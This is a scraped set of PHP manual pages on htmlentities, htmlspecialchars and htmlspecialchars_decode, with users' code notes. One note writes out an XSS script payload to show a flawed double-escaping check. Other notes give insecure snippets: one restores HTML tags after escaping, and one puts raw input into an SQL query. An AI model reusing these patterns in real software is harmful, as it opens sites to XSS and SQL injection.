sirarthur at sirarthur dot info 05-Oct-2009 10:05
When happens that you want to encode special characters but not the HTML tags using this function you've two options:

a) Build your own function and go replace by character; eg.

<?php
  for($i = 0; $i < strlen($string); $i++){
     switch(substr($string,$i,1)){
        //..... A VERY HUGE switch here with all characters to encode.
    }
 }
?>

b) use this function and simple restore the html tags afterwards. Which gives you a 6 line function as follow:

<?php
  function keephtml($string){
          $res = htmlentities($string);
          $res = str_replace("&lt;","<",$res);
          $res = str_replace("&gt;",">",$res);
          $res = str_replace("&quot;",'"',$res);
          $res = str_replace("&amp;",'&',$res);
          return $res;
}
?>
montana 09-Jul-2009 06:54
under what circumstances would someone want a ntilde [ñ] to be converted into "Ã±" as htmlentities does?
the correct method of translation should return the accurate NCR for the multibyte unicode sequence
which in this case is &#241;

<?php

    //simple task: convert everything from utf-8 into an NCR[numeric character reference]
    class unicode_replace_entities {
        public function UTF8entities($content="") {
            $contents = $this->unicode_string_to_array($content);
            $swap = "";
            $iCount = count($contents);
            for ($o=0;$o<$iCount;$o++) {
                $contents[$o] = $this->unicode_entity_replace($contents[$o]);
                $swap .= $contents[$o];
            }
            return mb_convert_encoding($swap,"UTF-8"); //not really necessary, but why not.
        }

        public function unicode_string_to_array( $string ) { //adjwilli
            $strlen = mb_strlen($string);
            while ($strlen) {
                $array[] = mb_substr( $string, 0, 1, "UTF-8" );
                $string = mb_substr( $string, 1, $strlen, "UTF-8" );
                $strlen = mb_strlen( $string );
            }
            return $array;
        }

        public function unicode_entity_replace($c) { //m. perez
            $h = ord($c{0});
            if ($h <= 0x7F) {
                return $c;
            } else if ($h < 0xC2) {
                return $c;
            }

            if ($h <= 0xDF) {
                $h = ($h & 0x1F) << 6 | (ord($c{1}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            } else if ($h <= 0xEF) {
                $h = ($h & 0x0F) << 12 | (ord($c{1}) & 0x3F) << 6 | (ord($c{2}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            } else if ($h <= 0xF4) {
                $h = ($h & 0x0F) << 18 | (ord($c{1}) & 0x3F) << 12 | (ord($c{2}) & 0x3F) << 6 | (ord($c{3}) & 0x3F);
                $h = "&#" . $h . ";";
                return $h;
            }
        }
    }//

    //utf-8 environment
    $content = "<strong>baño baño baño</strong>日本語 = nihongo da ze.<br />";

    $oUnicodeReplace = new unicode_replace_entities();
    $content = $oUnicodeReplace->UTF8entities($content);
    echo "<br />Result:<br />";
    echo $content;
    $source = htmlentities($content);
    echo "<br />htmlentities of resulting data:<br />";
    echo $source;

    echo "<br /><br />Note: Entities get replaced with 'literals' in textarea FF3<br /><br />";
    echo "<textarea style='width:300px;height:150px;'>";
    echo $content;
    echo "</textarea>";

    echo "<br /><br />For editing NCR's rather than 'literals' in a textarea<br /><br />";
    echo "<textarea style='width:300px;height:150px;'>";
    echo preg_replace("/(&#)+/","&amp;#",$content);
    echo "</textarea>";

?>
brianhamner at yahoo dot com 09-Jul-2009 06:26
If you want something simple that actually works, try this. Strips MS word and other entities and returns a clear data string:

<?php
//call this function

function DoHTMLEntities ($string) {
    $trans_tbl[chr(145)] = '&#8216;';
    $trans_tbl[chr(146)] = '&#8217;';
    $trans_tbl[chr(147)] = '&#8220;';
    $trans_tbl[chr(148)] = '&#8221;';
    $trans_tbl[chr(142)] = '&eacute;';
    $trans_tbl[chr(150)] = '&#8211;';
    $trans_tbl[chr(151)] = '&#8212;';
    return strtr ($string, $trans_tbl);
}

//insert your string variable here

        $foo = str_replace("\r\n\r\n","",htmlentities($your_string));
        $foo2 = str_replace("\r\n"," ",$foo);
        $foo3 = str_replace(" & ","&amp;",$foo2);
        echo DoHTMLEntities ($foo3);
?>
mzvarik at gmail dot com 15-May-2009 02:03
CZECH entities:

<?php
$ent = array(
    'ě' => '&#283;',
    'Ě' => '&#282;',
    'š' => '&#353;',
    'Š' => '&#352;',
    'č' => '&#269;',
    'Č' => '&#268;',
    'ř' => '&#345;',
    'Ř' => '&#344;',
    'ž' => '&#382;',
    'Ž' => '&#381;',
    'ý' => '&#253;',
    'Ý' => '&#221;',
    'á' => '&#225;',
    'Á' => '&#193;',
    'í' => '&#237;',
    'Í' => '&#205;',
    'é' => '&#233;',
    'É' => '&#201;',
    'ú' => '&#250;',
    'ů' => '&#367;',
    'Ů' => '&#366;',
    'ď' => '&#271;',
    'Ď' => '&#270;',
    'ť' => '&#357;',
    'Ť' => '&#356;',
    'ň' => '&#328;',
    'Ň' => '&#327;'
);

echo strtr('ěščřžýáíéúůďťňĚŠČŘŽÝÁÍÉÚŮĎŤŇ', $ent);
?>
gunter [dot] sammet [at] gmail [dot] com 13-Jan-2009 07:48
Had a heck of a time to get my rss entities right. using htmlentities didn't work and using html_entity_decode didn't work either. Ended up writing a custom function to encode and decode. It might still need some work but I thought to share it because I couldn't find anything on the net. Always open for suggestions to improve it! Here it is:

<?php
  $entity_custom_from = false;
  $entity_custom_to = false;
  function html_entity_decode_encode_rss($data) {
    global $entity_custom_from, $entity_custom_to;
    if(!is_array($entity_custom_from) || !is_array($entity_custom_to)){
      $array_position = 0;
      foreach (get_html_translation_table(HTML_ENTITIES) as $key => $value) {
        //print("<br />key: $key, value: $value <br />\n");
        switch ($value) {
          // These ones we can skip
          case '&nbsp;':
            break;
          case '&gt;':
          case '&lt;':
          case '&quot;':
          case '&apos;':
          case '&amp;':
            $entity_custom_from[$array_position] = $key;
            $entity_custom_to[$array_position] = $value;
            $array_position++;
            break;
          default:
            $entity_custom_from[$array_position] = $value;
            $entity_custom_to[$array_position] = $key;
            $array_position++;
        }
      }
    }
    return str_replace($entity_custom_from, $entity_custom_to, $data);
  }
?>
Tom Walter 17-Oct-2008 04:14
Note that as of 5.2.5 it appears that if the input string contains a character that is not valid for the output encoding you've specified, then this function returns null.

You might expect it to just strip the invalid char, but it doesn't.

You can strip the chars yourself like so:

iconv('utf-8','utf-8',$str);

You can combine that with htmlentities also:

$str = htmlentities(iconv('UTF-8', 'UTF-8//IGNORE', $str, ENT_QUOTES, 'UTF-8');

Should give you a string with htmlentities encoded to utf-8, and any unsupported chars stripped.
Kenneth Kin Lum 23-Sep-2008 01:47
use htmlspecialchars() if you are passing in a usual ASCII string.  It is faster than htmlentities().

For example, if you are just doing

htmlentities('<div style="background: #fff"></div>');

then you can just use htmlspecialchars().  htmlentities() will look for all possible ways to convert string into html entities, such as &copy; or &eacute; (which is e with an acute accent on top).

Note that ASCII is just 7 bit, which is 0x00 to 0x7F.  htmlspecialchars() will handle characters inside this range already.  htmlentities() is for the 8-bit Latin-1 (ISO-8859-1) to handle European characters, or for UTF-8 when the 3rd argument is "UTF-8" to handle UTF-8 characters, or other types of encodings using different values for the 3rd argument passed into htmlentities().
snevi at im dot com dot ve 22-Jul-2008 03:10
correction to my previous post and improvement of the function: (the post was changed by the html parser and the characters displays as they should not)

<?php
    function XMLEntities($string)
    {
        $string = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/e', '_privateXMLEntities("$0")', $string);
        return $string;
    }

    function _privateXMLEntities($num)
    {
    $chars = array(
        128 => '&#8364;',
        130 => '&#8218;',
        131 => '&#402;',
        132 => '&#8222;',
        133 => '&#8230;',
        134 => '&#8224;',
        135 => '&#8225;',
        136 => '&#710;',
        137 => '&#8240;',
        138 => '&#352;',
        139 => '&#8249;',
        140 => '&#338;',
        142 => '&#381;',
        145 => '&#8216;',
        146 => '&#8217;',
        147 => '&#8220;',
        148 => '&#8221;',
        149 => '&#8226;',
        150 => '&#8211;',
        151 => '&#8212;',
        152 => '&#732;',
        153 => '&#8482;',
        154 => '&#353;',
        155 => '&#8250;',
        156 => '&#339;',
        158 => '&#382;',
        159 => '&#376;');
        $num = ord($num);
        return (($num > 127 && $num < 160) ? $chars[$num] : "&#".$num.";" );
    }
?>

in the previous post, to correct the HEX values that are not rendered, the program use a for each cicle, but that introduces a mayor complexity in execution time, so, we use the ability to call functions in the preg_replace second parameter, and ceate another funcion that evaluates the ord of the character given, and if it is between 127 and 160 it returns the modified HEX value to be understood by the browser and not brake the XML
(this work with dynamic XML generated form php with dynamic data from any source)

p.d: the '&'(&) should appear in this post as a single ampersand character and not as the html entity
keenskelly at gmail dot com 09-Jul-2008 07:00
Correction to my previous post: the set of ENTITY declarations must be inside a <!DOCTYPE element; also &nbsp; is NOT pre-defined in XML and must be left in the entity list. I also extended the list with the windows 1252 character set using a sample function borrowed from php.net user comments and extended with euro entity which we need for our app. Here is the final code that is in our production app:

<?php

// Generate a list of entity declarations from the HTML_ENTITIES set that PHP knows about to dump into the document
function htmlentities_entities() {
        $output = "<!DOCTYPE html [\n";
        foreach (get_html_translation_table_CP1252(HTML_ENTITIES) as $value) {
                $name = substr($value, 1, strlen($value) - 2);
                switch ($name) {
                        // These ones we can skip because they're built into XML
                        case 'gt':
                        case 'lt':
                        case 'quot':
                        case 'apos':
                        case 'amp': break;
                        default: $output .= "<!ENTITY {$name} \"&{$name};\">\n";
                }
        }
        $output .= "]>\n";
        return($output);
}

// ref: http://php.net/manual/en/function.get-html-translation-table.php#76564
function get_html_translation_table_CP1252($type) {
        $trans = get_html_translation_table($type);
        $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
        $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
        $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
        $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
        $trans[chr(134)] = '&dagger;';    // Dagger
        $trans[chr(135)] = '&Dagger;';    // Double Dagger
        $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
        $trans[chr(137)] = '&permil;';    // Per Mille Sign
        $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
        $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
        $trans[chr(140)] = '&OElig;';    // Latin Capital Ligature OE
        $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
        $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
        $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
        $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
        $trans[chr(149)] = '&bull;';    // Bullet
        $trans[chr(150)] = '&ndash;';    // En Dash
        $trans[chr(151)] = '&mdash;';    // Em Dash
        $trans[chr(152)] = '&tilde;';    // Small Tilde
        $trans[chr(153)] = '&trade;';    // Trade Mark Sign
        $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
        $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
        $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
        $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
        $trans['euro'] = '&euro;';    // euro currency symbol
        ksort($trans);
        return $trans;
}

?>

[EDIT BY danbrown AT php DOT net: The user's original note contained the following text:

"So here's something fun: if you create an XML document in PHP and use htmlentities() to encode text data, then later want to read and parse the same document with PHP's xml_parse(), unless you include entity declarations into the generated document, the parser will stop on the unknown entities.

To account for this, I created a small function to take the translation table and turn it into XML <!ENTITY> definitions. I insert this output into the XML document immediately after the <?xml?> line and the parse errors magically vanish"
]
za at byza dot it 15-Apr-2008 06:15
Trouble when using files with different charset?

htmlentities and html_entity_decode can be used to translate between charset!

Sample function:

<?php
function utf2latin($text) {
   $text=htmlentities($text,ENT_COMPAT,'UTF-8');
   return html_entity_decode($text,ENT_COMPAT,'ISO-8859-1');
}
?>
marktpitman at gmail dot com 15-Oct-2007 04:21
I just thought I would add that if you're using the default charset, htmlentities will not correctly return the trademark ( ™ ) sign.

Instead it will return something like this: â�¢

If you need the trademark symbol, use:

<?php htmlentities( $html, ENT_QUOTES, "UTF-8" ); ?>
D. Gasser 24-Apr-2007 07:40
When using UTF-8 as charset, you'll have to set UTF-8 in braces, otherwise the varaible is not recognized.
q (dot) rendeiro (at) gmail (dot) com 07-Mar-2007 01:41
I've seen lots of functions to convert all the entities, but I needed to do a fulltext search in a db field that had named entities instead of numeric entities (edited by tinymce), so I searched the tinymce source and found a string with the value->entity mapping. So, i wrote the following function to encode the user's query with named entities.

The string I used is different of the original, because i didn't want to convert ' or ". The string is too long, so I had to cut it. To get the original check TinyMCE source and search for nbsp or other entity ;)

<?php

$entities_unmatched = explode(',', '160,nbsp,161,iexcl,162,cent, [...] ');
$even = 1;
foreach($entities_unmatched as $c) {
    if($even) {
        $ord = $c;
    } else {
        $entities_table[$ord] = $c;
    }
    $even = 1 - $even;
}

function encode_named_entities($str) {
    global $entities_table;

    $encoded_str = '';
    for($i = 0; $i < strlen($str); $i++) {
        $ent = @$entities_table[ord($str{$i})];
        if($ent) {
            $encoded_str .= "&$ent;";
        } else {
            $encoded_str .= $str{$i};
        }
    }
    return $encoded_str;
}

?>
realcj at g mail dt com 06-Nov-2006 07:41
If you are building a loadvars page for Flash and have problems with special chars such as " & ", " ' " etc, you should escape them for flash:

Try trace(escape("&")); in flash' actionscript to see the escape code for &;

% = %25
& = %26
' = %27

<?php
function flashentities($string){
return str_replace(array("&","'"),array("%26","%27"),$string);
}
?>

Those are the two that concerned me. YMMV.
daviscabral[arroba]gmail[ponto]com 28-Jul-2006 09:52
unhtmlentities for all entities:

<?php

function unhtmlentities ($string) {
   $trans_tbl1 = get_html_translation_table (HTML_ENTITIES);
   foreach ( $trans_tbl1 as $ascii => $htmlentitie ) {
        $trans_tbl2[$ascii] = '&#'.ord($ascii).';';
   }
   $trans_tbl1 = array_flip ($trans_tbl1);
   $trans_tbl2 = array_flip ($trans_tbl2);
   return strtr (strtr ($string, $trans_tbl1), $trans_tbl2);
}

?>
info at pirandot dot de 22-Jul-2006 04:14
The data returned by a text input field is ready to be used in a data base query when enclosed in single quotes, e.g.
<?php
   mysql_query ("SELECT * FROM Article WHERE id = '$data'");
?>
But you will get problems when writing back this data into the input field's value,
<?php
   echo "<input name='data' type='text' value='$data'>";
?>
because hmtl codes would be interpreted and escape sequences would cause strange output.

The following function may help:
<?php
function deescape ($s, $charset='UTF-8')
{
   //  don't interpret html codes and don't convert quotes
   $s  =  htmlentities ($s, ENT_NOQUOTES, $charset);

   //  delete the inserted backslashes except those for protecting single quotes
   $s  =  preg_replace ("/\\\\([^'])/e", '"&#" . ord("$1") . ";"', $s);

   //  delete the backslashes inserted for protecting single quotes
   $s  =  str_replace ("\\'", "&#" . ord ("'") . ";", $s);

   return  $s;
}
?>
Try some input like:  a'b"c\d\'e\"f\\g&x#27;h  to test ...
anonymous 26-Apr-2006 09:38
This function will encode anything that is non Standard ASCII (that is, that is above #127 in the ascii table)

<?php
// allhtmlentities : mainly based on "chars_encode()"  by Tim Burgan <timburgan@gmail.com> [http://www.php.net/htmlentities]
function allhtmlentities($string) {
    if ( strlen($string) == 0 )
        return $string;
    $result = '';
    $string = htmlentities($string, HTML_ENTITIES);
    $string = preg_split("//", $string, -1, PREG_SPLIT_NO_EMPTY);
    $ord = 0;
    for ( $i = 0; $i < count($string); $i++ ) {
        $ord = ord($string[$i]);
        if ( $ord > 127 ) {
            $string[$i] = '&#' . $ord . ';';
        }
    }
    return implode('',$string);
}
?>
edo at edwaa dot com 18-Nov-2005 05:48
A version of the xml entities function below. This one replaces the "prime" character (′) with which I had difficulties.

<?php
// XML Entity Mandatory Escape Characters
function xmlentities($string) {
   return str_replace ( array ( '&', '"', "'", '<', '>', '�' ), array ( '&amp;' , '&quot;', '&apos;' , '&lt;' , '&gt;', '&apos;' ), $string );
}
?>
info at bleed dot ws 15-Oct-2005 07:42
here the centralized version of htmlentities() for multibyte.

<?php
function mb_htmlentities($string)
{
    $string = htmlentities($string, ENT_COMPAT, mb_internal_encoding());
    return $string;
}

?>
jake_mcmahon at hotmail dot com 29-Apr-2004 11:29
This fuction is particularly useful against XSS (cross-site-scripting-). XSS makes use of holes in code, whether it be in Javascript or PHP. XSS often, if not always, uses HTML entities to do its evil deeds, so this function in co-operation with your scripts (particularly search or submitting scripts) is a very useful tool in combatting "H4X0rz".
wwb at 3dwargamer dot net 01-Apr-2004 01:49
htmlentites is a very handy function, but it fails to fix one thing which I deal with alot: word 'smart' quotes and emdashes.

The below function replaces the funky double quotes with &quot;, funky single quotes with standard single quotes and fixes emdashes.

<?php
    function CleanupSmartQuotes($text)
    {
        $badwordchars=array(
                            chr(145),
                            chr(146),
                            chr(147),
                            chr(148),
                            chr(151)
                            );
        $fixedwordchars=array(
                            "'",
                            "'",
                            '&quot;',
                            '&quot;',
                            '&mdash;'
                            );
        return str_replace($badwordchars,$fixedwordchars,$text);
    }
?>
Bassie (: 06-Jan-2003 01:07
Note that you'll have use htmlentities() before any other function who'll edit text like nl2br().

If you use nl2br() first, the htmlentities() function will change < br > to &lt;br&gt;.


Convert special HTML entities back to characters

  • « htmlentities
  • htmlspecialchars »
  • PHP Manual
  • String Functions
  • Convert special HTML entities back to characters

htmlspecialchars_decode

(PHP 5 >= 5.1.0)

htmlspecialchars_decode — Convert special HTML entities back to characters

Description

string htmlspecialchars_decode ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 ] )

This function is the opposite of htmlspecialchars(). It converts special HTML entities back to characters.

The converted entities are: &amp;, &quot; (when ENT_NOQUOTES is not set), &#039; (when ENT_QUOTES is set), &lt; and &gt;.

Parameters

string

The string to decode.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes and which document type to use. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

Return Values

Returns the decoded string.

Changelog

Version | Description
5.4.0 | The constants ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.

Examples

Example #1 A htmlspecialchars_decode() example

<?php
$str = "<p>this -&gt; &quot;</p>\n";

echo htmlspecialchars_decode($str);

// note that here the quotes aren't converted
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

The above example will output:

<p>this -> "</p>
<p>this -> &quot;</p>

See Also

  • htmlspecialchars() - Convert special characters to HTML entities
  • html_entity_decode() - Convert all HTML entities to their applicable characters
  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities

User Contributed Notes

pinkgothic at gmail dot com 10-Jun-2010 06:24
Keep in mind that you should never trust user input - particularly for "mixed-bag" input containing a combination of plain text and markup or scripting code.

Why?

Well, consider someone sending '&amp;<script>alert('XSS');</script>' to your PHP script:

<?php
$var = "&amp;<script>alert('XSS');</script>";
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var;
?>

Since '&amp;' decodes into '&', (htmlspecialchars_decode($var) == $var) will be -false-, thus returning $var without that it's escaped. In consequence, the script-tags are untouched, and you've just opened yourself to XSS.

There is, unfortunately, no reliable way to determine whether HTML is escaped or not that does not come with this caveat that I know of. Rather than try and catch the case 'I've already encoded this', you are better off avoiding double-escaping by simply escaping the HTML as close to the actual output as you can muster, e.g. in the view in an MVC development structure.
benharold at mac dot com 27-Jan-2009 01:48
or of course:

<?php

$var = "Blue & yellow make green.";

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // outputs Blue &amp; yellow make green.

// you can do it a bunch of times, it still won't screw you!

$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
$var = (htmlspecialchars_decode($var) == $var) ? htmlspecialchars($var) : $var;
echo $var; // still outputs Blue &amp; yellow make green.

?>

Put it in a function. Add it to the method of some abstract data class.
benharold at mac dot com 26-Jan-2009 10:30
If you use `htmlspecialchars()` to change things like the ampersand (&) into it's HTML equivalent (&amp;), you might run into a situation where you mistakenly pass the same string to the function twice, resulting in things appearing on your website like, as I call it, the ampersanded amp; "&amp;". Clearly nobody want's "&amp;" on his or her web page where there is supposed to be just an ampersand. Here's a quick and easy trick to make sure this doesn't happen:

<?php

$var = "This is a string that could be passed to htmlspecialchars multiple times.";

if (htmlspecialchars_decode($var) == $var) {
    $var = htmlspecialchars($var);
}

echo $var;

?>

Now, if your dealing with text that is a mixed bag (has HTML entities and non-HTML entities) you're on your own.
thomas at xci[ignore_this]teit dot commm 28-Mar-2008 12:03
The example for "htmlspecialchars_decode()" below sadly does not work for all PHP4 versions.

Quote from the PHP manual:
"get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities()."

But it does NOT! At least not for PHP version 4.4.2.
This was already reported in a bug report (http://bugs.php.net/bug.php?id=25927), but it was marked as BOGUS.

Proof:
  Code:
--------------------
<?php
    var_dump(get_html_translation_table(HTML_SPECIALCHARS,ENT_QUOTES));
    var_dump(htmlspecialchars('\'',ENT_QUOTES));
?>
--------------------

  Output:
--------------------
array
  '"' => '&quot;'
  ''' => '&#39;'
  '<' => '&lt;'
  '>' => '&gt;'
  '&' => '&amp;'

'&#039;'
--------------------

This comment now is not to report this bug again (though I really believe it is one), but to complete the example and warn people of this pitfall.

To make sure your htmlspecialchars_decode fake for PHP4 works, you should do something like this:

<?php
    function htmlspecialchars_decode($string,$style=ENT_COMPAT)
    {
        $translation = array_flip(get_html_translation_table(HTML_SPECIALCHARS,$style));
        if($style === ENT_QUOTES){ $translation['&#039;'] = '\''; }
        return strtr($string,$translation);
    }
?>

Br, Thomas
Wout 28-Jul-2007 06:06
The following replacement for PHP 4 is a little more complete, as the quote_style is taken into account as well:

if (!function_exists("htmlspecialchars_decode")) {
    function htmlspecialchars_decode($string, $quote_style = ENT_COMPAT) {
        return strtr($string, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
    }
}
17-Aug-2006 02:49
This should be the best way to do it.
(Reposted because the other one seems a bit slower and because those who used the code under called it htmlspecialchars_decode_php4)

<?php

if ( !function_exists('htmlspecialchars_decode') )
{
    function htmlspecialchars_decode($text)
    {
        return strtr($text, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
    }
}

?>
or-k at or-k dot com 14-Sep-2005 11:15
that works also with &auml; and &quot; and so on.
get_html_translation_table(HTML_ENTITIES) => offers more characters than HTML_SPECIALCHARS

function htmlspecialchars_decode_PHP4($uSTR)
{
 return strtr($uSTR, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));
}
geoffers@gmail 14-Jul-2005 03:38
[Update of previous note, having noticed I forgot to put in quote style]

PHP4 Compatible function:

<?php

function htmlspecialchars_decode_php4 ($str, $quote_style = ENT_COMPAT) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS, $quote_style)));
}

?>
geoffers at gmail dot com 14-Jul-2005 03:30
For PHP4 Compatibility:

<?php

function htmlspecialchars_decode_php4 ($str) {
    return strtr($str, array_flip(get_html_translation_table(HTML_SPECIALCHARS)));
}

?>


Convert special characters to HTML entities

  • Â« htmlspecialchars_decode
  • implode Â»
  • PHP Manual
  • String Functions
  • Convert special characters to HTML entities

htmlspecialchars

(PHP 4, PHP 5)

htmlspecialchars — Convert special characters to HTML entities

Description

string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with these conversions made. If you require all input substrings that have associated named entities to be translated, use htmlentities() instead.

If the input string passed to this function and the final document share the same character set, this function is sufficient to prepare input for inclusion in most contexts of an HTML document. If, however, the input can represent characters that are not coded in the final document character set and you wish to retain those characters (as numeric or named entities), both this function and htmlentities() (which only encodes substrings that have named entity equivalents) may be insufficient. You may have to use mb_encode_numericentity() instead.

The translations performed are:

  • '&' (ampersand) becomes '&amp;'
  • '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.
  • "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set.
  • '<' (less than) becomes '&lt;'
  • '>' (greater than) becomes '&gt;'

Parameters

string

The string being converted.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_IGNORE | Silently discard invalid code unit sequences instead of returning an empty string. Using this flag is discouraged as it » may have security implications.
ENT_SUBSTITUTE | Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of returning an empty string.
ENT_DISALLOWED | Replace invalid code points for the given document type with a Unicode Replacement Character U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of leaving them as is. This may be useful, for instance, to ensure the well-formedness of XML documents with embedded external content.
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

encoding

An optional argument defining the encoding used when converting characters.

If omitted, the default value of the encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input.

For the purposes of this function, the encodings ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent, provided the string itself is valid for the encoding, as the characters affected by htmlspecialchars() occupy the same positions in all of these encodings.

The following character sets are supported:

Supported charsets
Charset | Aliases | Description
ISO-8859-1 | ISO8859-1 | Western European, Latin-1.
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | Western European, Latin-9. Adds the Euro sign, French and Finnish letters missing in Latin-1 (ISO-8859-1).
UTF-8 | ASCII compatible multi-byte 8-bit Unicode.
cp866 | ibm866, 866 | DOS-specific Cyrillic charset.
cp1251 | Windows-1251, win-1251, 1251 | Windows-specific Cyrillic charset.
cp1252 | Windows-1252, 1252 | Windows specific charset for Western European.
KOI8-R | koi8-ru, koi8r | Russian.
BIG5 | 950 | Traditional Chinese, mainly used in Taiwan.
GB2312 | 936 | Simplified Chinese, national standard character set.
BIG5-HKSCS | Big5 with Hong Kong extensions, Traditional Chinese.
Shift_JIS | SJIS, SJIS-win, cp932, 932 | Japanese
EUC-JP | EUCJP, eucJP-win | Japanese
MacRoman | Charset that was used by Mac OS.
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted.

double_encode

When double_encode is turned off PHP will not encode existing html entities, the default is to convert everything.

Return Values

The converted string.

If the input string contains an invalid code unit sequence within the given encoding an empty string will be returned, unless either the ENT_IGNORE or ENT_SUBSTITUTE flags are set.

Changelog

Version | Description
5.6.0 | The default value for the encoding parameter was changed to be the value of the default_charset configuration option.
5.4.0 | The default value for the encoding parameter was changed to UTF-8.
5.4.0 | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 were added.
5.3.0 | The constant ENT_IGNORE was added.
5.2.3 | The double_encode parameter was added.

Examples

Example #1 htmlspecialchars() example

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Notes

Note:

Note that this function does not translate anything beyond what is listed above. For full entity translation, see htmlentities().

See Also

  • get_html_translation_table() - Returns the translation table used by htmlspecialchars and htmlentities
  • htmlspecialchars_decode() - Convert special HTML entities back to characters
  • strip_tags() - Strip HTML and PHP tags from a string
  • htmlentities() - Convert all applicable characters to HTML entities
  • nl2br() - Inserts HTML line breaks before all newlines in a string

User Contributed Notes

sascham78 at php dot net 01-Oct-2014 05:57
If you are using UTF-8 encoding with htmlspecialchars() you may experience blank values with certain language-specific characters i.e. spanish or portuguese "Ã¢Ã£Ã¡".
So instead of using
<?php
$utf8encoded= htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
?>
try
<?php
$utf8encoded= utf8_encode(htmlspecialchars($string, ENT_QUOTES));
?>
glapa.wojciech.com 29-Jan-2014 01:32
To show result in comment it should be:

<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo htmlspecialchars($new); // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

...
Felix D. 10-Jan-2014 08:00
Another thing important to mention is that
htmlspecialchars(NULL)
returnes an empty string and not NULL!
support at playnext dot ru 03-Oct-2013 05:31
For those having problems after the change of default value of $encoding argument to UTF-8 since PHP 5.4.

If your old non-UTF8 projects ruined - pls consider:
1. http://php.net/manual/en/function.override-function.php
2. http://php.net/manual/ru/function.runkit-function-redefine.php

The idea - you override the built-in htmlspecialchars() function with your customized variant which is able to respect non UTF-8 default encoding. This small piece of code can be then easily inserted somewhere at the start of yout project. No need to rewrite all htmlspecialchars() entries globally.

I've spent several hours with both approaches. Variant 1 looks good especaially in combination with http://www.php.net/manual/en/function.rename-function.php as it allows to call original htmlspecialchars() with just altered default args. The code could be as follows:

<?php
rename_function('htmlspecialchars', 'renamed_htmlspecialchars');
function overriden_htmlspecialchars($string, $flags=NULL, $encoding='cp1251', $double_encode=true) {
    $flags = $flags ? $flags : (ENT_COMPAT|ENT_HTML401);
    return renamed_htmlspecialchars($string, $flags, $encoding, $double_encode);
}
